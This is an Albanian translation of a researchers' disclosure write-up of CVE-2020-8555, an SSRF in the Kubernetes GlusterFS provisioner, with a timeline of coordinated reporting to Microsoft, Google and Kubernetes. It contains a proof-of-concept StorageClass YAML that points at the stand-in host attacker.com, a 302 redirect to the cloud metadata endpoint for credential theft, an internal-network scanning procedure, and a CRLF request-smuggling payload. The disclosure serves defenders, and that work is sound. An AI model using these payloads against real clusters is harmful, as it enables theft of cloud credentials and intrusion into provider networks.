Kur çështja nuk është vetëm një dobësi në Kubernetes…

Shën. përk.: autorët e këtij artikulli flasin në detaje për mënyrën si arritën të zbulojnë dobësinë CVE-2020–8555 në Kubernetes. Edhe pse fillimisht dukej e padëmshme, në kombinim me faktorë të tjerë, kriticiteti i saj ishte maksimal për disa ofrues të shërbimeve në re. Specializuar për këtë punë, u shpërblyen bujshëm nga disa organizata.

Kur çështja nuk është vetëm një dobësi në Kubernetes…

Kush jemi ne

Ne jemi dy hulumtues francezë në fushën e sigurisë, të cilët zbuluan bashkë një dobësi në Kubernetes. Na quajnë Brice Augras dhe Christophe Hauquiert, por në shumë platforma të Bug Bounty jemi të njohur si Reeverzax dhe Hach përkatësisht:

Çfarë ndodhi?

Ky artikull është mënyra jonë për të treguar se si një projekt hulumtues i zakonshëm papritur u shndërrua në një aventurë shumë emocionuese për hajdutët e gabimeve (të paktën deri tani).

Siç e dini, hajdutët e gabimeve kanë disa karakteristika të veçanta:

  • ata jetojnë me pica dhe birrë;
  • ata punojnë kur të tjerët flenë.

Ne jemi një përjashtim nga këto rregulla: zakonisht takohemi në fundjavë dhe kalojmë netë të paqëndrueshme duke hakuar. Por një nga këto netë përfundoi në një mënyrë mjaft të pazakontë.

Fillimisht kishim planifikuar të takohemi për të diskutuar pjesëmarrjen në CTF në ditën pasuese. Gjatë bisedës për sigurinë e Kubernetes në një mjedis shërbimi të menaxhuar, na erdhën në mendje disa ide të vjetra për SSRF (Server-Side Request Forgery) dhe vendosëm të provojmë ta përdorim atë si një skenar sulmi.

Në orën 11 të mbrëmjes filluam studimet, dhe u dremitëm herët në mëngjes, mjaft të kënaqur me rezultatet. Pikërisht për shkak të këtyre hulumtimeve, ne zbuluam programin MSRC Bug Bounty dhe ideuam një eksploatim për rritjen e privilegjeve.

Të kalonin disa javë/muaj, dhe rezultati ynë befasues na lejoi të fitonim një nga shpërblimet më të larta në historinë e Azure Cloud Bug Bounty — përveç asaj që fituam nga Kubernetes!

Nga projekti ynë hulumtues, komiteti i Sigurisë së Produktit të Kubernetes publikoi CVE-2020–8555.

Tani, do të donim të shpërndanë sa më shumë informacion në lidhje me një vulnerabilitet të gjetur. Shpresojmë se do ta vlerësoni këtë zbulim dhe do të ndani detaje teknike me anëtarët e tjerë të komunitetit infosec!

Pra, ja historia jonë...

Konteksti

Për ta shpjeguar sa më plotësisht se çfarë ndodhi, le të shikojmë së pari se si funksionon Kubernetes në një mjedis të menaxhuar në cloud.

Kur krijoni një instancë të grupit Kubernetes në një mjedis të tillë, shtresa menaxhuese zakonisht kujdeset për ofruesi i shërbimeve cloud:

Kur çështja nuk është vetëm një dobësi në Kubernetes…
Shtresa menaxhuese ndodhet në periferi të ofruesit të cloud-it, ndërsa nyjat e Kubernetes ndodhen në periferi të klientit.

Për alokimin dinamik të volumit përdoret mekanizmi i ofrimit dinamik nga një backend storage të jashtëm dhe lidhja me PVC (kërkesa për volum të qëndrueshëm).

Kështu, pasi PVC të krijohet dhe të lidhet me StorageClass-in në grupin K8s, veprimet e mëtejshme për ofrimin e volumit i merr mbi vetë menaxheri kube/cloud (emri i tij i saktë varet nga versioni). (Shën. përk.: Për më shumë mbi CCM-në në shembullin e implementimit të tij për një nga ofruesit e cloud-it, ne kemi shkruar më parë. këtu.)

Ka ekzistojnë disa lloje provisioner’ash që mbështeten nga Kubernetes: shumica e tyre janë të përfshira në në thelb të orkestratorit, ndërsa të tjerët menaxhohen nga provisioner të jashtëm, të cilat janë të vendosura në pod’ë brenda klasterit.

Në hulumtimin tonë, ne u përqendruam në mekanizmin e brendshëm të ofrimit të volumeve, i cili ilustrohet më poshtë:

Kur çështja nuk është vetëm një dobësi në Kubernetes…
Ofrimi dinamik i volumeve duke përdorur provisioner-in e integruar të Kubernetes

Në përmbledhje, kur Kubernetes është i vendosur në një mjedis të menaxhuar, menaxhimi i controller manager-it është përgjegjësi e ofruesit të shërbimeve cloud, por kërkesa për krijimin e një volumi (numri 3 në skemën e mësipërme) del jashtë kufijve të rrjetit të brendshëm të ofruesit të cloud. Dhe këtu situata bëhet vërtet interesante!

Skenari i thyerjes

Në këtë seksion, ne do të tregojmë se si shfrytëzuam procesin e përmendur më parë dhe fituam akses në burimet e brendshme të ofruesit të shërbimeve cloud. Për më tepër, do të tregohet mënyra se si mund të kryhen disa veprime — për shembull, të sigurohen kredencialet e brendshme ose të realizohet escalimi i privilegjeve.

Një manipulim i thjeshtë (në këtë rast, është Service Side Request Forgery) na ndihmoi të dalim përtej ambientit të klientit në klasteret e ndryshme të ofruesve të shërbimeve që menaxhojnë K8s.

Në hulumtimet tona, u përqendruam te provisioner'i GlusterFS. Megjithëse radhitja e mëtejshme e veprimeve është përshkruar në një kontekst të tillë, kjo vulnerabilitet është e pranishme gjithashtu te Quobyte, StorageOS dhe ScaleIO.

Kur çështja nuk është vetëm një dobësi në Kubernetes…
Shfrytëzimi i mekanizmit të dinamikës së ofrimit të volumeve

Gjatë analizës së klasës së ruajtjes GlusterFS në burimet e klientit në Golang ne vërejtëm, se gjatë kërkesës së parë HTTP (3), e dërguar gjatë krijimit të volumit, në fund të URL-së së përdoruesit në parametrin resturl shtohet /volumes.

Për të eliminuar këtë rrugë shtesë, vendosëm të shtojmë # në parametrin resturl. Kjo është konfigurimi i parë YAML që ne përdorëm për të kontrolluar prania e vulnerabilitetit «gjysmë të verbër» SSRF (më shumë rreth semi-blind ose half-blind SSRF mund të lexoni, për shembull, këtu — shënim i përkthyesit.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Më pas, për menaxhimin e largët të klasterit Kubernetes, u përdor binary-i kubectl. Në përgjithësi, ofruesit e cloud (Azure, Google, AWS, etj.) lejojnë marrjen e kredencialeve për t'i përdorur ato në këtë utilit.

Falë kësaj, u arrit të aplikohej skedari "special". Kube-controller-manager ekzekutoi kërkesën rezultante HTTP:

kubectl create -f sc-poc.yaml

Kur çështja nuk është vetëm një dobësi në Kubernetes…
Përgjigjja nga këndvështrimi i sulmuesit

Pak pas kësaj, ne gjithashtu arritëm të merrnim një përgjigje HTTP nga serveri target — përmes komandave describe pvc ose get events në kubectl. Dhe në të vërtetë: ky driver Kubernetes me default është shumë i zëshëm në paralajmërimet e tij/mesazhet e gabimeve...

Ja një shembull me një lidhje në https://www.google.fr, e vendosur si një parametër resturl:

kubectl describe pvc poc-ssrf
# ose mund të përdorni kubectl get events

Kur çështja nuk është vetëm një dobësi në Kubernetes…

Në kuadër të këtij qasjeje, ne ishim të kufizuar në kërkesa të tipit HTTP POST dhe nuk mundëm të merrnim përmbajtjen e trupit të përgjigjes, nëse kodi i kthyer ishte 201Pra kjo, vendosëm të kryejmë kërkime të dodatshme dhe zgjatuam këtë skenar sulmi me qasje të reja.

Evolucioni i kërkimeve tona

  • Skenari i avancuar nr. 1: përdorimi i redirect 302 nga një server i jashtëm për të ndryshuar metodën HTTP, në mënyrë që të kemi një mënyrë më fleksibël për të mbledhur të dhënat e brendshme.
  • Skenari i avancuar nr. 2: automatizimi i skanimit LAN dhe zbulimi i burimeve të brendshme.
  • Skenari i avancuar nr. 3: përdorimi i HTTP CRLF + smuggling ("kontrabanda" e kërkesave) për të krijuar kërkesa HTTP të përshtatura dhe për të marrë të dhëna të nxjerra nga log-ët e kube-controller-it.

Specifikimet teknike

  • Në kërkime u përdor Azure Kubernetes Service (AKS) me Kubernetes version 1.12 në rajonin North Europe.
  • Skenarët e përshkruar më sipër u ekzekutuan në versionet e fundit të Kubernetesit përveç skenarit të tretë, pasi ai kërkonte Kubernetes të ndërtuar me Golang version ≤ 1.12.
  • Serveri i jashtëm i sulmuesit — https://attacker.com.

Skenari i avancuar nr. 1: redirect i kërkesës HTTP POST në GET dhe marrja e të dhënave të ndjeshme

Metoda origjinale u përmirësua nga konfigurimi i serverit të sulmuesit për të kthyer 302 HTTP Retcode, për të konvertuar kërkesën POST në kërkesën GET (hapi 4 në diagram):

Kur çështja nuk është vetëm një dobësi në Kubernetes…

Kërkesa e parë (3), që vjen nga klienti GlusterFS (Menaxheri i Kontrollit), ka tipin POST. Duke ndjekur hapat e mëposhtëm, kemi arritur ta kthejmë atë në GET:

  • Si parametrin resturl duhet të specifikohet në StorageClass http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php kthen status-kodin 302 HTTP me header-in Location të mëposhtëm: http://169.254.169.254. Mund të jetë çdo burim tjetër i brendshëm — në këtë rast, linku i rindërtimit përdoret ekskluzivisht si shembull.
  • Në mënyrë të paracaktuar biblioteka net/http e Golang-it rikthen kërkesën dhe konverton POST në GET me status-kodin 302, si rezultat, një kërkesë HTTP GET arrin në burimin e synuar.

Për të lexuar trupin e përgjigjes HTTP, duhet të bëni describe objektit PVC:

kubectl describe pvc xxx

Ky është një shembull i përgjigjes HTTP në formatin JSON që arritëm të marrim:

Kur çështja nuk është vetëm një dobësi në Kubernetes…

Kapacitetet e dobësisë së gjetur në atë kohë ishin të kufizuara për shkak të këtyre pikave:

  • Pamundësia për të futur headra HTTP në kërkesën që del.
  • Pamundësia për të kryer një kërkesë POST me parametra në trup (kaq e lehtë është të kërkosh vlerën e çelësit nga një ekzemplar etcd, që punon në 2379 port, nëse përdoret HTTP i pacriptuar).
  • Pamundësia për të marrë përmbajtjen e trupit të përgjigjes, kur statusi ishte 200 dhe përgjigja nuk kishte JSON Content-Type.

Skenari i avancuar nr. 2: skanimi i rrjetit lokal

Ky metod i gjysëm-verbuar SSRF më pas u përdor për skanimin e rrjetit të brendshëm të ofruesit të shërbimit cloud dhe për të anketuar shërbime të ndryshme në listen (instanca Metadata, Kubelet, etcd etj.) bazuar në përgjigjet e tyre kube controller’it.

Kur çështja nuk është vetëm një dobësi në Kubernetes…

Fillimisht u përcaktuan portet standard të komponentëve Kubernetes (8443, 10250, 10251 etj.), dhe më pas duhej të automatizohej procesi i skanimit.

Duke parë se ky metod i skanimit të burimeve është shumë specifik dhe nuk është i përputhshëm me skanerët klasikë dhe mjetet SSRF, vendosëm të krijojmë punëtorë të vetë në bash-skriptë që automatizojnë tërë procesin.

Për shembull, për të skanuar më shpejt gamën 172.16.0.0/12 të rrjetit të brendshëm, ishin nisur paralelisht 15 punëtorë. Gama e IP-së e përmendur më lart u zgjodh vetëm si një shembull dhe mund të ndryshohet në gamën e IP-së së ofruesit të shërbimit të caktuar.

Për të skanuar një adresë IP dhe një port, duhet të bëni si më poshtë:

  • të fshihet StorageClass i verifikuar herën e kaluar;
  • të fshihet Persistent Volume Claim i verifikuar më parë;
  • të ndryshohen vlerat IP dhe Port në sc.yaml;
  • të krijohet një StorageClass me IP dhe port të rinj;
  • krijo PVC të ri;
  • nxirrni rezultatet e skanimit përmes describe’s për PVC.

Skema e avancuar Nr. 3: injeksioni CRLF + abuzimi me HTTP në versionet "e vjetra" të klasterit Kubernetes

Nëse përveç kësaj ofruesi ofronte versione të vjetra të klasterit K8s dhe u jepte atyre akses në log-et e kube-controller-manager, efekti bëhej edhe më i dukshëm.

Për sulmuesin, është shumë më e lehtë të ndryshojë sipas dëshirës kërkesat HTTP, të destinuara për të marrë një përgjigje të plotë HTTP.

Kur çështja nuk është vetëm një dobësi në Kubernetes…

Për të realizuar skenarin e fundit, duhet të përmbushen kushtet e mëposhtme:

  • Përdoruesi duhet të ketë akses në log-et e kube-controller-manager (si, për shembull, në Azure LogInsights).
  • Klasteri Kubernetes duhet të përdorë një version të Golang nën 1.12.

Krijuam një ambient lokal që imiton shkëmbimin e të dhënave midis klientit Go GlusterFS dhe një serveri të rremë (meqe po e ndalojmë publikimin e PoC).

U zbulua vulnerabiliteti, që prekte versionet e Golang nën 1.12 dhe lejonte hakerët të kryejnë sulme të tipit HTTP smuggling/CRLF.

Kombinimi i SSRF-të gjysmë të verbër të përshkruar më sipër bashkë me këtë, ne arritëm të dërgojmë kërkesa sipas dëshirave tona, duke përfshirë ndryshimin e titujve, metodën HTTP, parametrat dhe të dhënat, të cilat kube-controller-manager më pas i përpunonte.

Ja një shembull i funksionit «të joshur» në parametrin resturl StorageClass, që realizon një skenar të tillë sulmi:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Si rezultat lind një gabim përgjigje e papritur, mesazhi i të cilit regjistrohet në logjet e kontrolluesit. Falë 'ngazëllimësisë' të përfshirë nga default, aty ruhet gjithashtu përmbajtja e përgjigjes HTTP.

Kur çështja nuk është vetëm një dobësi në Kubernetes…

Kjo ishte strategjia jonë më efektive në kuadër të provës së konceptit.

Duke përdorur një qasje të tillë, ne arritëm të realizojmë disa nga sulmet e mëposhtme në klasteret e ndryshme të ofruesve managed k8s: rritje privilegjesh me marrjen e kredencialeve në instancat e metadata, DoS të masterit përmes kërkesave (të pa-kriptuara) HTTP në instancat master të etcd etj.

Pasojat

Në deklaratën zyrtare të Kubernetes për dobësinë SSRF që ne zbulonim, i është dhënë një pikëzim CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Nëse shqyrtojmë vetëm vulnerabilitetin e lidhur me perimetrin e Kubernetes, vektori i integritetit (vektori i integritetit) kualifikohet si Asnjë.

Megjithatë, vlerësimi i pasojave të mundshme në kontekstin e një mjedisi shërbimi të menaxhuar (dhe kjo ishte pjesa më interesante e hulumtimit tonë!) na shtyu të rishikojmë vulnerabilitetin në një rang Kritik CVSS10/10 për shumë distributorë.

Më poshtë është informacion shtesë që do të ndihmojë në kuptimin e asaj që na udhëhoqi në vlerësimin e pasojave të mundshme në mjediset në cloud:

Integriteti

  • Ekzekutimi i komandeve në distancë duke përdorur kredencialet e brendshme të fituara.
  • Riprodhimi i skenarit të përmendur më lart përmes metodës IDOR (Insecure Direct Object Reference, domethënë lidhjet e drejtpërdrejta të pasigurta për objekte) me burime të tjera të zbuluara në rrjetin lokal.

Konfidencialiteti

  • Sulmi i tipit Lëvizja laterale falë vjedhjes së kredencialeve të cloud-it (p.sh., metadata API).
  • Marrja e informacionit përmes skanimit të rrjetit lokal (identifikimi i versionit të SSH, versionit të serverit HTTP, …).
  • Mblidhni informacionin mbi instancat dhe infrastrukturën duke pyetur API-të e brendshme, si metadata API (http://169.254.169.254, …).
  • Vjedhja e të dhënave të klientëve përmes akreditimeve të cloud.

Disponueshmëria

Të gjitha skenarët e përdorimit të exploiteve, të lidhura me vektorët e sulmit mbi integritetin, mund të përdoren për veprime shkatërruese dhe të çojnë në atë që master-instatns të jashtme (ose ndonjë tjetër) të bëhen të papërfshirë.

Pasi ishim në një mjedis të menaxhuar K8s dhe vlerësuam ndikimin në integritetin, mund të imagjinojmë shumë skenarë që mund të ndikojnë në disponueshmërinë. Si shembuj të tjerë mund të përmendim dëmtimin e bazës së të dhënave etcd ose bërjen e një thirrjeje kritike në API-në Kubernetes.

Kronologjia

  • 6 Dhjetor 2019: dërgimi i një mesazhi mbi zbulimin e një dobësie në MSRC Bug Bounty.
  • 3 Janar 2020: një palë e tretë informoi zhvilluesit e Kubernetes se ne po punonim mbi një problem në fushën e sigurisë. Dhe i kërkoi ata ta konsideronin SSRF si një dobësi të brendshme (in-core). Pas kësaj, ne paraqitëm një raport të përgjithshëm me detaje teknike mbi burimin e problemit.
  • 15 janar 2020: ne ofruam zhvilluesve të Kubernetes raporte teknike dhe të përgjithshme sipas kërkesës së tyre (nëpërmjet platformës HackerOne).
  • 15 janar 2020: zhvilluesit e Kubernetes na informuan se SSRF gjysmë-qorr + injeksioni CRLF për versionet e mëparshme konsiderohet një dobësi in-core. Ne menjëherë ndaluam analizën e perimetrave të ofruesve të tjerë të shërbimeve: shkaku fillestar tani ishte në duar të ekipit K8s.
  • 15 janar 2020: përmes HackerOne është marrë një shpërblim nga MSRC.
  • 16 janar 2020: Kubernetes PSC (Komiteti i Sigurisë së Produktit) pranoi dobësinë dhe kërkoi ta mbajë atë të fshehtë deri në mes të marsit për shkak të numrit të madh të viktimave të mundshme.
  • 11 shkurt 2020: është marrë një shpërblim nga Google VRP.
  • 4 mars 2020: përmes HackerOne është marrë një shpërblim nga Kubernetes.
  • 15 mars 2020: shpërndarja fillimisht e planifikuar e informacionit është shtyrë për shkak të situatës me COVID-19.
  • 1 qershor 2020: një deklaratë e përbashkët nga Kubernetes + Microsoft mbi dobësinë.

TL;DR

  • Ne po pimë birrë dhe hamë pizzë 🙂
  • Ne zbuluam një dobësi in-core në Kubernetes, përkundër faktit se nuk e kishim planifikuar atë.
  • Ne kemi bërë një analizë të thelluar në klasteret e ofruesve të ndryshëm të cloud dhe arritëm të rrisnim dëmin që shkaktonte dobësia, në mënyrë që të fitonim bonuse ekstra të mahnitshme.
  • Në këtë artikull do të gjeni shumë detaje teknike. Ne do të do ishim të lumtur t'i diskutonim ato me ju (Twitter: @ReeverZax & @__hach_).
  • Doli se të gjitha formalitetet dhe përgatitja e raporteve zënë shumë më tepër kohë se sa pritej.

Linke

P.S. nga përkthyesi

Lexoni gjithashtu në blogun tonë:

Burimi: habr.com

Bleni hostim të besueshëm për faqe me mbrojtje nga DDoS, serverë VPS VDS 🔥 Bleni hostim të besueshëm për faqe me mbrojtje nga DDoS, serverë VPS VDS | ProHoster